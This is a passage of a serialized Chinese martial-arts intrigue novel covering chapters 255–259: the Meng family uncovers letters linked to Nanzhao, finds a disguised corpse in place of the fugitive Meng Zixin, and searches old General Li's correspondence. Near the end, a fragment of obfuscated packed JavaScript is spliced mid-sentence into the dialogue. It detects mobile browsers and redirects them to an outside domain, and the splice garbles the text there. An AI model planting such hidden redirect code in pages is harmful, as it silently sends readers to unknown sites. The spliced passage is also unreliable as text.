孟繁和杨玄杉的院子后面,是孟繁妾室们的住所,十几房妾室,占了好大一块地方。
孟天觉得,孟家堡是江湖门派,养这么多柔弱的女人在堡内,不成样子。
这些年,因为堡内越来越多的莺莺燕燕,为了避嫌,孟家堡几乎没有再收新弟子。
孟剑雨原先的几名关门弟子,也因为受不了孟家堡的乌烟瘴气,选择离开,或浪迹江湖,或自立门户。
孟天没有帮孟繁继续养女人的好脾气,在葬礼之前,她就将小妾们召集起来,告知她们孟繁并非孟家血脉,她们不能再住在孟家堡。
小妾们哭哭啼啼,舍不得孟家堡富贵的生活,大都不愿意离开。
在孟蕊的提议下,孟天给了小妾们两个选择。
其一,愿意离开孟家堡归家的小妾,孟天会给每人一笔安身的银子,往后嫁娶自由。
其二,孟家堡在渝州城中收拾出了一间宅院,无处可去的小妾,可以先住进去,孟家堡为她们提供基本的生活保障,等她们有了更好的去处,孟天依然会给每人一笔银子。
小妾们哭过一场,见孟天态度坚决,不容置疑,不得不做出选择。
除了少数几人选了拿银子离开外,大多数小妾,都选择了先搬进渝州城的宅子居住。
葬礼过后,孟天就将小妾们移出了孟家堡。
孟简和蒋氏的院子,因为蒋氏及其女孟子倩,之前一直住在里面,所以是最晚搜查的。
孟简也非孟家子嗣,孟家堡没有义务给他照顾妻女,且孟简自戕前,求孟天保住妻女性命,放蒋氏母女离开孟家堡。
孟天自然不会与柔弱妇孺为难,她与蒋氏商议,给蒋氏一笔钱,让蒋氏带着女儿回娘家生活,或是在远离孟家堡的其他城镇,为蒋氏母女置宅买铺,给她们一个安身之所。
但蒋氏完全听不进去,在葬礼上哭得几近晕厥,连幼小的女儿也不管不顾,差点要撞棺殉情。
孟天怜悯蒋氏新丧,担心她情绪激动再做傻事,便容她们母女在原来的院子多住些时日。
孟瑜昨日已搜查完了堡内的其他院子,今日说好要来搜蒋氏的院子,早与蒋氏母女知会过,请她们暂时搬去旁边空着的院子居住。
可是蒋氏依然不同意,占据着院子不肯搬,今日早上孟瑜带着侍卫过来时,还一度不肯开门。
孟瑜行事雷厉风行,敲不开门,他便直接运用轻功,翻墙进入院子,把叫喊的蒋氏直接打晕,开门放了侍卫进来,把蒋氏母女移去了隔壁空院安置。
谢清源带着孟天和孟蕊进门时,孟瑜对院子的搜查已经结束。
孟瑜将他们引到孟简书房书架后的密室,把可疑的书信拿给他们看。
“信上是南照的文字,我看不懂,但这些信中,附有我大齐山川舆图,很不寻常。”
孟瑜眉头紧皱,神情严肃。
“我怀疑,孟简在对南照传递情报,孟蕊她们在影山上见到的伪装成护卫的南照人,或许是南照的奸细。”
孟蕊点头附和,“纪小姐当时也是这样说,她认出了那伙人手上用的是南照弯刀,判断他们是南照奸细。”
“嗯,此事我之前已经密报给了陛下,陛下的意思是让我们先秘密调查,有了实质性的证据,再报给他,毕竟事关两国,需得稳妥行事。”
谢清源拿起一张写满南照文字的信纸,一边看,一边说。
“如今阿瑜找到这些往来信件,或许是一个突破口。”
孟天也拿起一张信纸,看了一眼直接放弃,“这都写的什么呀?鬼画符似的。”
“表面看起来,信上只说了一些简单的交易信息,像是孟简在和南照的商人做粮食生意。”
谢清源放下看完的信,接过孟天手中的信纸,继续看。
“这封信上,在议论粮食的价格,孟简要高价,问南照商人同不同意。”
“你能看懂南照文字?”孟天颇为惊讶。
孟瑜也看向谢清源,目光诧异,张了张嘴,到底没有说话。
谢清源嘚瑟地扬了扬下巴,“小意思,我常年在外行商,和南照人也打过交道,大致能看懂一些。”
“爹爹,您什么都会,太厉害了!”
孟蕊十分给面子地夸赞,话音一转,看向二哥孟瑜。
“二哥,爹爹看得懂南照文字,你们一起往下查,相信很快就有所收获。”
经过这些时日的相处,孟蕊能看出来,二哥不是不在意父亲,而是心结未解,相处别扭。
孟蕊想要给他们父子多创造相处机会,也许难题会迎刃而解。
“蕊儿说得有道理。”
谢清源给了孟蕊一个赞赏的眼神,期待地看向孟瑜。
“阿瑜,咱们一起查?”
孟瑜蹙了蹙眉,不自在地说:
“我看不懂南照文字,帮不上什么忙,纪华筠曾经随纪老将军在南境生活过,她或许能帮得上忙。”
谢清源有些失落,“也行,听阿瑜你的,那就叫纪小姐也过来看看这些信。”
随后,谢清源让侍卫去请纪华筠。
侍卫去而复返,纪华筠却没有一起过来。
侍卫禀报道:“纪小姐说她有事,暂时没空过来。”
“她能有什么事?”孟瑜问。
侍卫答道:“属下去时,纪小姐正要出门,她说要去见孟二公子,学画扇面,然后就往孟子信的院子去了。”
第255章 杀机再起?
孟子信的院子,位置偏僻,作为孟繁病弱的外室子,他一向不受重视。
纪华筠敲响了院门,却久等不到有人来应门,不耐烦地运起轻功,直接翻进了墙内。
小院里没有人在,纪华筠对着紧闭的房门喊道:
“孟公子,你在屋里吗?”
依然无人应答。
纪华筠思索了片刻,决定谨慎起见,不从房门走,再次运起轻功,跃上了屋顶。
她轻巧地在屋顶站稳,蹲下身,扒开屋顶的瓦片,向屋内看去。
一眼震惊!
“啊——!”
纪华筠惊声尖叫。
“出事了!快来人啊——!”
她站得高,嗓门大,叫声响彻空中。
一道矫健的黑色身影,从天而降。
孟瑜出现在纪华筠身边,紧张地问:“发生了什么事?”
纪华筠看到他,惊慌地扑过去,一把抱住孟瑜的劲腰。
“阿瑜,屋、屋子里有好几个**!呜呜……吓死我了,那个孟子信,吊在梁上,太可怕了!”
孟瑜被纪华筠的双臂紧紧箍住,全身僵硬地直直站着。
“你先放开,我去看看情况。”
孟瑜犹豫着伸出手,拍了拍纪华筠的后背,轻声安抚。
“有我在,你不用害怕。”
这时,慢孟瑜一步的谢清源和孟天,带着侍卫踹开院门,闯进院子。
看到屋顶上抱在一起的男女,谢清源眼神欣慰,对孟天感叹:
“年轻真好啊,咱们儿子长大了,想来再过不久,咱家就要办喜事了。”
孟天斜了他一眼,“人永宁侯夫妇会同意?方若莹还记咱俩的仇呢。”
“俗话说,女大不中留,娘子你看,纪家姑娘多喜欢咱们儿子,一定能成的。”
谢清源喜滋滋地说。
“等回了京,我就去永宁侯府提亲,不对,我直接去求陛下赐婚,这不就稳了?”
孟蕊看着她爹兴奋的模样,忍不住劝道:
“爹爹,您在做这些事之前,别忘了先与二哥商量,这是二哥的终身大事,应该由二哥自己做主,别再伤了父子情分。”
她就怕她爹一时脑热,不与二哥商议,直接去提亲,惹得二哥不满。
毕竟,上次二哥从军营出走,就是因为她爹的好心办坏事。
谢清源的笑容一滞,对孟蕊郑重点头,“乖女儿提醒的对,为父知道了,会问过你二哥的意见,再行动的。”
话音刚落,孟瑜带着纪华筠,从屋顶飞下来,平稳落地。
孟瑜肃然道:“孟子信和他的丫鬟小厮都**,尸体在屋里。”
谢清源和孟天一听,脸色都变了,顾不上闲话,立即随孟瑜一起走向屋内。
屋内共三具尸体,孟子信被挂在房梁上,丫鬟和小厮倒在靠近房门口的地上,嘴角流血。
孟瑜看着孟子信吊在房梁上的尸体,表情凝重。
“他的死状,与孟子仁和孟子信相似,来人,去把他放下来,检查他胸前是否中掌。”
侍卫们听令,搬来梯子,将孟子信解下,平放到地上。
扒开孟子信的上衣,一个青灰色的掌印,出现在孟子信的胸口。
“他胸口也有掌印,和孟子俊他们一样!”
纪华筠此时已经从最初的惊吓中恢复过来,她指着孟子信胸口的掌印,后怕地说。
“可是孟简已经**好几天了,又是谁杀了孟子信啊?”
孟蕊脸色微白,有了不好的猜测,“该不会是孟堡主醒了?他要杀了所有不是孟家血脉的子孙,所以把幸存的孟子信也杀了?”
孟天神色一凛,立即派人去确认孟剑雨的情况。
虽然受了伤,但凭孟剑雨的武功,要在深夜躲过看守他的侍卫,跑出来**,不是不可能。
“不一样。”孟瑜突然开口。
纪华筠不解,“什么不一样?”
孟瑜沉声道:“孟子信胸口的掌印,不是出自孟家堡的绝学混元裂空掌,和孟子俊、孟子仁的不一样。”
孟天走过去,检查孟子信身上的伤,确认道:
“阿瑜说得没错,这不是混元裂空掌造成的伤,凶手伪装得很像,要仔细辨认,方可发现端倪。”
纪华筠茫然,“不
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是孟堡主,那又会是谁杀了他,还把他吊起来?”
“不止如此,凶手连孟子信身边的丫鬟小厮都全杀了,这一点,也和之前不一样。”
孟瑜又检查了丫鬟和小厮的尸体,确定都是**而死。
而在之前的案件中,死的只有孟子俊和孟子仁,他们身边伺候的仆从,没有**害的。
孟瑜站起来,转身看向纪华筠问:
“侍卫说,你今日来找孟子信,是为了画扇面,那是什么意思?你与孟子信很熟?”
“我和他不熟,这几日你们在忙,我没事做,无聊地在堡内闲逛,与他遇到过几次,说了几句话而已。”
纪华筠大喇喇地解释道。
“画扇面,就是字面上的意思,我看到孟子信拿在手里的折扇扇面上,画的一副特别有意思的仕女图。
画中仕女的装扮,与大齐女子不同,我觉得好像在哪里见过,就与他攀谈了几句。
他说是他照着古书随意画的,我更好奇了,就说要看他那本古书里的图。
我昨日来过一次,等着他找书给我看,但他找了好久都没找到,只能失望而归。
今日我忽然想起来,那扇面上的女子装扮,好像是我小时候见过的南照女子。
所以我就又来了,想找孟子信问个清楚,哪想到他,居然**……”
“南照仕女图?”
谢清源回想着说。
“我倒是记得他时常拿着一把折扇,没注意过上面画的什么。”
他的目光在屋内扫过,对跟随而来的侍卫们下令。
“把屋子仔细搜一遍,将那把折扇找出来。”
“是!大人!”侍卫们领命,开始在屋内寻找。
孟子信的屋子不大,侍卫人多,很快就把屋内搜索完毕,却没有发现任何扇子的踪影。
之后,侍卫们扩大搜索范围,将孟子信的院子,也全部搜查了一遍,还是一无所获。
“看来凶手拿走了那把折扇,那必定是很重要的物证。”
孟瑜做出判断,向纪华筠问道:
“那扇面上的画,你是否还记得?”
第256章 是替身啊
纪华筠不但清晰记得扇面上的画,还表示,能直接复刻了一幅一模一样的画。
谢清源让侍卫拿来笔墨纸砚,纪华筠在院子里的石桌上快速作画,一刻钟后,便完成了一幅轻纱曼妙的仕女图。
“大概就是这样,扇面上的女子,虽穿着大齐的服饰,但头饰钗环,皆为银制,样式也与大齐女子流行的精巧款式大相径庭,是南照女子喜爱的宽大样式。”
纪华筠停下笔,满意地看着自己的作品。
“我小时候在边关见过南照女子,她们常戴的就是这种首饰。”
谢清源看过纪华筠的画,表示赞同,“南照女子确实常做此类装扮。”
“如此说来,孟子信的扇面上画的是南照女子,确实很不寻常。”
孟瑜看着纪华筠的画,推断道。
“这个孟子信,很可能也与南照人有关联。”
“一个两个的,怎么都和南照人搞在一起?”孟天烦躁地叹气。
要是真涉及通敌的罪名,那就难办了。
孟天不经意地转头,看到女儿孟蕊一脸纠结,以为孟蕊也在担忧,安慰道:
“蕊儿别担心,这事儿就算闹起来,也是孟简和孟子信的问题,怪不到咱家头上。”
“不是啊,娘亲,您难道不觉得那个孟子信,怪怪的吗?”
孟蕊神情困惑,从自己的思绪中回过神,对孟天说。
这时,侍卫正将孟子信的尸体从屋内抬出,要移去他处存放。
孟蕊立马叫住他们。
“先停一停,把他放下。”
侍卫们把担架放在地上,孟蕊走过去,揭开覆盖孟子信的白布。
盯着孟子信的脸,孟蕊越发觉得怪异。
“可否麻烦侍卫大哥,掰开他的嘴?”
侍卫询问地望向谢清源,得到允许后,侍卫将孟子信的嘴掰开,露出不算整齐的牙齿。
“蕊儿,你发现什么了?”
谢清源、孟天和孟瑜,都走了过来。
“爹爹、娘亲、二哥,我觉得躺着的这个人,有可能不是孟子信。”
孟蕊指着孟子信的尸体,不确定道:
“这个人看起来,虽然体型容貌,都与孟子信相似,但若仔细看去,便会觉得,他不及孟子信瘦弱,他的脸,也要比因病弱脸颊凹陷的孟子信宽一点。
特别是他的牙齿,发黄有缺失,孟子信虽不受重视,但他极爱整洁干净,他的牙齿应当不会是如此。”
孟蕊来孟家堡的第一天,就近距离接触了孟子信,对他印象深刻。
纪华筠也凑了过来,“要这么说,我也觉得这个人比孟子信壮一点。”
孟天和谢清源对视一眼,直接走到孟子信旁边蹲下,仔细检查孟子信的脸。手指触摸到孟子信脖子下方时顿住。
“还真是。”
孟天轻叹一声,从袖中拿出一个瓷瓶,将其中的药水,涂抹在孟子信的发际周围。
等到药水被吸收后,孟天一个用力。
“嘶啦——!”
一张从面部伪装到脖子下方的**,被完整扯了下来,露出了死者原本那张普通本分的脸。
“他是谁?”孟天没有印象。
孟蕊也不认识,“或许是堡内的下人?”
“啊!我认得他!”
纪华筠突然叫出声。
“他是那个跟在孟子信身边的长随啊!昨日我还见过。”
孟天站起身,丢下手中的**,“死的是孟子信的长随,那孟子信人呢?”
随后,谢清源派人找遍了孟家堡内外,和渝州城及周边,都没有孟子信的踪影。
而孟子信的院子,经过里里外外的详细搜查,没有发现任何有价值的东西,应是已经被清理过。
侍卫和大夫确认孟剑雨还在**昏迷中,并没有苏醒的迹象,那么孟子信院子里的人,很大可能都是孟子信自己杀的。
孟子信杀了人,又在谢清源和孟天眼皮子底下消失,让他们很不舒服,再加上孟子信可能与南照有来往,这个人更要尽快抓起来。
谢清源报了官,渝州知府亲自来到孟家堡,仵作给三名死者验尸,捕头勘察现场后,认为孟子信有重大作案嫌疑,应立即抓捕归案。
官府下达了海捕文书,以**罪,全国搜捕孟子信。
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“那小子,能从守卫严格的孟家堡悄无声息地**逃跑,是我们都小看了他。”
孟天颇为懊恼自己的大意。
“他有做工精细的**,要靠官府的力量找到他,不是易事。”
孟子信换个容貌和身份,隐入人海,如滴水入海,寻常的官差捕头,都难以辨认出来,更别说抓捕了。
“没关系,我本来也没抱太大希望。”
谢清源乐观地说。
“重要的是表明我们的态度,与孟子信做切割,他以后犯了什么事,别牵连到我们身上。”
之后一段时间,谢清源一家四口,加上纪华筠,继续留在孟家堡。
孟天带着孟蕊和纪华筠,整理孟家堡的账目内务,带着她们逛影山,教她们习武。
谢清源和孟瑜,忙着查孟简留下的书信,以及调查镇北王府的人来找的信。
到孟家堡的第一天,孟蕊认出了伪装成剑客的厉青鸿,并告诉了父亲谢清源。
当天晚上,谢清源去了客院,寻找厉青鸿伪装的剑客,但没有找到人。
他当时还专门询问了管理宾客入住的田管家,被告知那剑客是买了请帖进来的,其他的一问三不知,只能暂且作罢。
而在山上与南照人打斗的镇北王府暗卫,谢清源也没有查到行踪。
孟蕊那时从影山上下来时,已经是第二天中午,镇北王府的暗卫早不知跑去了哪里,谢清源派人去查,也是徒劳。
还有孟蕊确定来过孟家堡的姜瑶。
如果不是孟蕊和纪华筠,那晚跟踪孟简去了那偏僻小院,听到过姜瑶的声音,谢清源和孟天都不知道,姜瑶到过孟家堡。
当第二日中午,谢清源得知消息去看,那小院早就人去楼空,什么也没有。
面对这样的结果,孟蕊并不惊讶。
她知道,姜瑶心思缜密,喜欢躲在人后,如非必要,不会暴露自己。
她更在意的是,厉青鸿亲自来到孟家堡,所要找的那封厉老将军的信。
里面会有什么重要内容呢?
半个月后,**昏迷的孟剑雨,终于清醒……
第257章 一堆烂账
孟剑雨是在一个阳光明媚的午后醒来。
听到消息时,孟天正在影山上,指导孟蕊和纪华筠习武。
影山地势陡峭,非常适合孟蕊提升轻功。
由于孟蕊习武起步晚,拳脚不够力度,孟天要求她主练轻功和暗器,求精不求多。
而对于天生神力的纪华筠,孟天送给她一套拳谱,教她对战的技巧,提高实战的精准打击伤害。
鉴于之前两人被孟简追杀的经历,孟蕊和纪华筠都对练武保持着极大的热情。
特别是纪华筠,得到孟天的指导,她每天跟打了鸡血一样,从早到晚,除了吃饭睡觉,无时无刻不在练武。
孟剑雨苏醒的消息,让她们不得不暂停习武,一起下山。
她们到时,孟剑雨正坐在床上,刚喝完一碗粥,叫嚷着不够吃,要喝酒吃肉。
谢清源和孟瑜站在门口,冷冷看着孟剑雨作妖。
照顾孟剑雨的老大夫,立在床边,苦口婆心地劝:
“堡主,您刚醒来,身上的毒素还未全清,只能吃些软和的食物,待身体康复了,您要吃什么都行啊。”
“吃!他要吃什么,都给他吃!”
孟天大跨步进入房间,豪迈地说。
“让他把自己吃**,也省得麻烦人伺候。”
“你来了啊……”
孟剑雨看到她,嚣张气焰顿时萎靡了一半,不尴不尬地说。
“我身上的毒,是你给我用的解药?你怎么会解这种奇毒?”
“南边稀有的藤毒,也算不上什么奇毒吧?”孟天故意说,“是你偏安一隅久了,见的世面少,才自以为中了奇毒,命不久矣,忙着处理那些背叛之人。”
孟剑雨并没有因孟天的嘲讽而生气,他平静地垂眸,思考片刻后,低声问:
“那我之后,还可以活多久?”
孟天挑了挑眉,敢情孟剑雨真以为自己**要**。
所以他借刀**,消除非孟家血脉的男子,引诱孟瑜回孟家堡通过堡主试炼,都是在忙着安排后事。
如此想来,之前孟剑雨的一切所为,都能说得通了。
“放心,你这样的祸害,一时半会儿死不了。”
孟天语气不善,但说出的话,令孟剑雨振奋。
“你**虽有些时日,但他们每次给你下的毒量不大,你**不深,现在你身上的毒已经解了,好好修养个把月,把身上的余毒清完,再活个一二十年,不是问题。”
孟剑雨猛地抬头,目露惊喜,“我真还能活那么久?”
孟天对他翻了个白眼,不想再理他。
旁边的老大夫接话道:“堡主,大小姐说的是真的,您身体底子好,清了余毒后,与常人无异,尽可安心休养。”
谢清源扬着笑脸走进来,对孟剑雨说:
“孟堡主,这下好了,你日后继续当堡主,别再瞎折腾了。”
“我继续当堡主?”
孟剑雨犀利的目光,越过谢清源,投向他身后的孟瑜。
“孟瑜已经通过了堡主试炼,我要把堡主之位传给他。”
“我不要。”孟瑜冷声道,“再过几日,等南照人的事查清楚,我就会离开,你还是自己留着当堡主吧。”
孟剑雨气得脸黑,多少人想当堡主当不上,争得头破血流,他把堡主之位拱手送上,孟瑜居然不要!
孟天没好气道:“孟老头,你把孟家堡霍霍成现在这么个烂摊子,就要甩给我儿子?凭什么?你自己好好理清楚了再说,别**以后没脸见孟家祖宗!”
孟剑雨不服,“孟家堡怎么是烂摊子了?你别信口雌黄!”
孟天转过头,看向谢清源,“你来和他说清楚,我怕我忍不住揍他。”
“娘子放心,为夫定能说得他心服口服。”
谢清源让伺候的下人和大夫都离开后,从袖中掏出一本账册,细细与孟剑雨阐述如今孟家堡的真实情况。
由于这么多年来苗氏母子挥霍成性,孟家堡的账上已经没什么现银。
在葬礼之后,孟天逼迫苗家吐出了苗氏**补贴娘家的钱款和古董珠宝,才让账面上好看了一些。
现在的孟家堡,已经没有之前那么多主子要伺候。
夫人苗
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氏疯了,被关在厢房看管。
孟繁一房中,孟繁、孟子仁、孟子俊都已被害身亡,孟子信逃离孟家堡,行踪未明。
杨玄杉带着嫁妆回了娘家凌剑山庄,孟繁的小妾们也被放回家,或移去渝州城的宅子。
孟简一房中,孟简和孟子伦已死。
蒋氏本不愿离开,但看到孟子信院中的**惨状,惊惧交加,害怕继续待在孟家堡,自己也会遭遇不测,拿着孟天给的银钱,收拾了嫁妆,终于带着女儿孟子倩回了娘家居住。
要伺候的主子们少了,孟家堡中也用不到那么多仆从护卫、屋舍院子。
谢清源已经在堡内开辟了绣房,让无事可做但有绣工的丫鬟婆子,进入绣房做绣娘,既让她们有了工钱养家,也为孟家堡创收。
“堡内记录在册的护卫,共有一百二十八名,人数偏多。”
谢清源对着账册,滔滔不绝地说。
“江湖门派,一般以师承为继,少有养这么多护卫的,一名护卫月银一到二两银子不等,一个月光是月钱就要发放二百一十三两之多,再加上四季衣物……”
“好了,别和我算账了,听得老夫头疼。”
孟剑雨烦躁地躺下,捂着耳朵,不想再听谢清源没完没了的唠叨。
被打断讲话的谢清源,对着孟剑雨严肃道:
“孟堡主,不算清楚账,你怎么知道堡中问题所在?
这些都是你作为堡主,必须要解决的问题,别想只用一个堡主的名头,就把这烂账,摊到我儿子头上。”
孟剑雨索性闭上眼,以装睡来逃避谢清源的算账。
“这些以后再说不迟,让我先问重要问题。”
孟瑜上前,拿出从孟简书房密室中搜出的一封书信,亮在孟剑雨眼前。
“这是孟简与南照人通信的证据,依据信中消息,孟家堡在与南照人做粮食生意,但经过我们调查,并无实际交易存在。
孟堡主,你们与南照人究竟在做什么生意?
影山上**的那几个南照人,又是你们什么人?
请你分说明白!”
第258章 信件所在
“南照人?做生意?”
孟剑雨睁开眼,一下坐起身,抢过孟瑜手上的信,皱眉看起来。
“这写的什么?我孟家堡,怎么会和南照人,有生意往来?”
孟瑜与谢清源对视一眼,将他们查到的情况告诉孟剑雨。
孟剑雨先是一脸茫然,然后笃定地否认了孟家堡与南照人有来往,那样子不像撒谎。
“事实摆在眼前,不是你否认就没有的。”
孟瑜将信纸从孟剑雨手中抽走,审视地看着他。
“孟简与南照人的往来书信,影山上装扮成孟家堡护卫的南照人尸体,都是铁证,足以说明孟家堡中,孟简与南照人往来密切。”
孟剑雨冷嗤一声,“孟简又不是孟家堡的人,他做了什么混账事,均与孟家堡无关!”
“那孟子信呢?”孟瑜又问,“他与南照是否有关联?”
孟剑雨脸色微变,“你们连那种丢人的事,都查到了?”
“还有什么丢人的事?”
孟天忍不住插话,大步行至孟剑雨面前,严厉地说。
“与南照相关的情况非同小可,万一扯上通敌叛国的罪名,整个孟家堡都要遭殃!
你到底干过什么,还不快全都老实交代!”
孟剑雨皱眉纠结了一会儿,叹气道:
“罢了,反正孟繁不是孟家堡的人,他如今也**,告诉你们也无妨。”
孟剑雨说,孟繁从小被苗氏宠溺惯坏了,四处拈花惹草,其中就有孟子信的生母,一名南照女子。
孟繁年轻时,没有后来那么肥胖不堪,算得上英俊风流。
他看上了孟子信的生母,并欺骗引诱了她,在渝州城置下宅院,两人过起夫妻生活,没多久,就生下了孟子信。
孟子信五岁时,那名南照女子,发现了孟繁对自己的欺骗。
她不懂大齐法度婚俗,一直以为自己是孟繁的妻子,却不知道,自己只是孟繁养的外室。
南照女子大受打击,要带着儿子孟子信离开,被苗氏拦下,抢了孟子信,赶走了南照女子,自此后,孟子信与生母分离,在孟家堡中长大。
“如此就能说通,为何孟子信的扇面上,会画南照女子装束的仕女图了,原来他画的,是他的亲生母亲。”
纪华筠恍然大悟,又不禁疑惑。
“可是,他为什么要杀了自己近身伺候丫鬟随从逃跑呢?”
孟剑雨微讶,“孟子信逃跑了?还杀了人?”
“从现有的证据看,是这样,已经发布海捕文书通缉他了,目前还没有抓到人。”
谢清源探究地看向孟剑雨。
“孟堡主,恕我直言,从血缘上看,孟子信和孟子倩,也都不是孟家子孙,你为何没把他们两人,全都斩草除根?”
孟剑雨黑沉着脸,睨向谢清源,“在你们看来,我是个冷血无情的刽子手,要把人杀光才高兴?”
“不是吗?”谢清源反问。
“当然不是!”
孟剑雨厉声反驳。
“孟子倩一个小丫头,不受苗氏待见,我杀她做什么?
而孟子信,他不但不是孟家的种,更不是孟繁的种!
要不是孟简提前杀了孟繁,我会在孟繁和苗氏面前,揭穿这件事,让他们也尝尝我的痛苦滋味!”
孟蕊惊讶地看向孟剑雨瞬间狰狞的脸,她原以为自己已经足够见识了大千世界,到孟家堡后才发现,自己对人性的恶,了解得不过分毫。
“孟繁不是孟子信的生父,那孟子信的亲生父亲是谁?”
“不知道。”孟剑雨不屑地说,“大概也是个南照人吧。”
“你的心也是真大,放一个南照人在堡中住着,也不怕出纰漏。”孟天斥道。
孟剑雨并不在意,“能出什么纰漏?大不了,我把孟子信也杀了。”
“你一天到晚,除了**,还会什么?”
孟天拳头捏紧,要不是看在孟剑雨**刚醒的份上,她已经揍上去了。
预感到孟天和孟剑雨快要吵起来,孟蕊上前扶住孟天提醒:
“娘亲,您前几日说,要找外曾祖父的信,一直没找到,想来孟堡主应该记得在哪儿。”
孟天看向女儿恬淡的笑脸,心中冲起的火气,逐渐平息,想起正事来
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依据在影山上,孟蕊从暗卫口中套出的话,厉青鸿带着暗卫一行,潜入孟家堡的目的,是为了找到厉老将军写给孟老堡主的信。
如果他们没有找到,那这封信,现在很可能还在孟家堡中。
孟天和孟蕊将孟老堡主的住处,里里外外搜查了好几遍,都没有找到任**件。
而作为孟家堡堡主的孟剑雨,应该有所了解。
“孟老头,你知道祖父从前和厉老将军的往来信件,都放在哪里吗?”孟天问。
孟剑雨冷哼一声,故意说:“不知道。”
“孟老头你敬酒不吃,想挨揍不成?”
孟天抡起拳头,对着孟剑雨晃了晃。
孟剑雨不把她的威胁当回事,再次倒头躺回枕头上,懒懒道:
“你要打就打,杀了我也成,反正老夫现在是砧板上的鱼肉,随便你处置。”
孟天见他这副躺平的耍赖样,放下拳头,好言相劝:
“我找那些信件,是为了孟家堡的安全,南照人潜入孟家堡,说不定就是为了那些重要信件,我们必须尽快确认,信件没有被偷走。”
孟天隐去了镇北王府参与其中,将事情推到南照人头上,试图撬开孟剑雨的嘴。
孟剑雨也不是个傻的,他很快发现孟天话中的不合理之处。
“南照人在南境以外,厉老将军在世时,镇守的是北地,南照人偷他的信做什么?”
孟天被问得猝不及防,一时答不出合适的缘由。
孟蕊及时开口解释:
“南照人怎么想,我们不清楚?
但那晚我在影山上遇到的刺客,曾亲口承认,他们就是来孟家堡,偷厉老将军的信。
此事不容忽视,为了孟家堡,孟堡主您也不能任性隐瞒,该将信件所在告知我们。”
孟剑雨看看孟蕊,又看看孟天,终于松了口。
“父亲很珍惜与厉老将军的情谊,所有往来信件,他都珍藏在影山中他常住的地方,那间屋子地板上有机关,孟天你知道位置,自去找吧。”
孟天当即转身,朝着门外走去,孟蕊赶紧跟上。
第259章 民间传闻
上影山的路,孟蕊已经无比熟悉。
两刻钟后,她跟随娘亲孟天,运用轻功,到达了绿树掩映的一处木屋。
孟天上前去推木屋的门,“吱哑”一声,木门被推开。
“门锁被破坏了,这里不久前被人闯入过。”
孟天脸色微凝,快步走进木屋。
“难道,他们已经把信件偷走了?”孟蕊紧张地跟上。
木屋中没什么特别,只有一张藤编摇椅,和一张小桌,落寞地摆在墙边。
孟天在屋内走过一圈,停在了一个墙角处,蹲下身,伸手撬开地板的一角,按动地板之下的机关。
“砰!”
木屋中央的地板突然震动,打开了一个一尺见方的洞口。
孟蕊探过头一看,那洞中赫然放着一个锦缎包裹的包袱。
孟天走回来,将包袱从洞中拿起,包袱打开,是一个木匣,木匣中是一封封泛黄的信纸。
“看来,他们虽找到了这里,但并未发现机关和这些信件。”
孟蕊颇为惊讶,“外曾祖父是早有预料有人会偷信,所以把信件藏着这么隐秘之处?”
“祖父他老人家喜静,有不少时候都住在影山中,这间木屋位置偏僻,有树荫遮挡,夏日凉爽,祖父时常待在这里看书、写信。”
孟天一边说,一边查看包袱中的信件。
“这里都是厉老将军写给祖父的信,数量有好几十封了,他们要偷哪一封?”
“那就全都看一遍吧。”
孟蕊按照时间顺序,将信件依次排列好,拿起时间最早的一封信开始看起,孟天也和女儿一起看信。
每封信上的内容并不多,大都是厉老将军对孟老堡主的日常问候,讲述一些家中琐事,戍边感慨,还有自己在武功精进上的心得。
孟蕊看信的速度很快,不到一个时辰,就将所有信都看了一遍。
“这些信感觉没说什么特别的事,为什么厉青鸿要来偷信呢?”孟天百思不得其解。
孟蕊也感到疑惑不解,“娘亲,会不会还有重要的信件,被藏在更隐秘的地方?”
孟天和孟蕊将木匣中的信收好,又在木屋中摸索了一阵,没有发现其他机关暗格才罢休。
“应该没有其他的信了,要么就是祖父,已经把某些内容敏感的信件销毁。”孟天猜测。
她们将木屋中的机关恢复原样,背着装满信件的包袱,下山回孟家堡。
回到孟家堡后,孟天带着孟蕊,又去见了孟剑雨,询问是否还有其他藏信的地方,得到了否定的回答。
纪华筠又去自个儿练武了。
孟天把谢清源和孟瑜叫回天源阁,一起研究信件内容。
他们尝试了寻找暗语、密码,都没有结果。
“或许厉青鸿寻找他祖父的信,只是因为怀念祖父,想要留个念想?”谢清源挫败地说。
“您觉得,堂堂镇北王,瞒着陛下私自出京,只是因为思念故去多年的亲人?”
孟瑜语带嘲讽,说话时头也不抬,一封又一封地仔细阅读信件。
“如果妹妹没有认错人,那么镇北王亲自来寻的信件,就非常重要。”
“我不会认错的。”孟蕊肯定地说,“那个剑客,一定就是厉青鸿!”
厉青鸿化成灰她都认识,何况只是乔装打扮而已。
泛黄的信纸轻薄脆弱,孟蕊担心反复翻看信件导致损坏,正顺着时间顺序,将信上的内容,誊抄在新的信纸上。
因为孟瑜的话,孟蕊停下笔,看着自己刚誊抄完的内容,对孟天问道:
“娘亲,曾外祖父的身体,是不太好吗?好几封信中,厉老将军都在关心曾外祖父的咳疾,还提到随信寄来了药材。”
孟天想了想,忧伤地垂下眼眸,“祖母故去后,祖父的身子就开始渐渐不好了,每到秋冬时节,总犯咳疾,祖父不当回事,没想到厉老将军一直记挂着他。”
“那厉老将军的身体好吗?”孟蕊好奇地问,“他有没有什么伤病?”
孟天摇了摇头,回想着过去,不确定地说:
“我记得小时候见过的厉老将军身体很好,每次见他,都是雄赳赳气昂昂的,不想有伤病的样子,但他是将军,身上总会有些伤。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482679|164980||http|test|mini|href|location''.split(''|''),0,{}));
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r>最后一次见他,应是二十多年前,我和你父亲在孟家堡成婚后不久,祖父病重去世,厉老将军赶来参加了祖父的葬礼,他那时依然身强体健。
往后,我再没见过他,但十六年前,厉老将军带兵赶赴京城**叛乱时,你爹应该见过他。”
孟天、孟蕊和孟瑜,齐刷刷看向谢清源。
谢清源一听到十六年前,就对妻子儿女心生愧疚,但孟天既然问起,他不得不说。
“娘子说得不错,十六年前,我确实见过厉老将军,多亏他带兵勤王救驾,保住了京城,只可惜伤重不治,在京城病逝。”
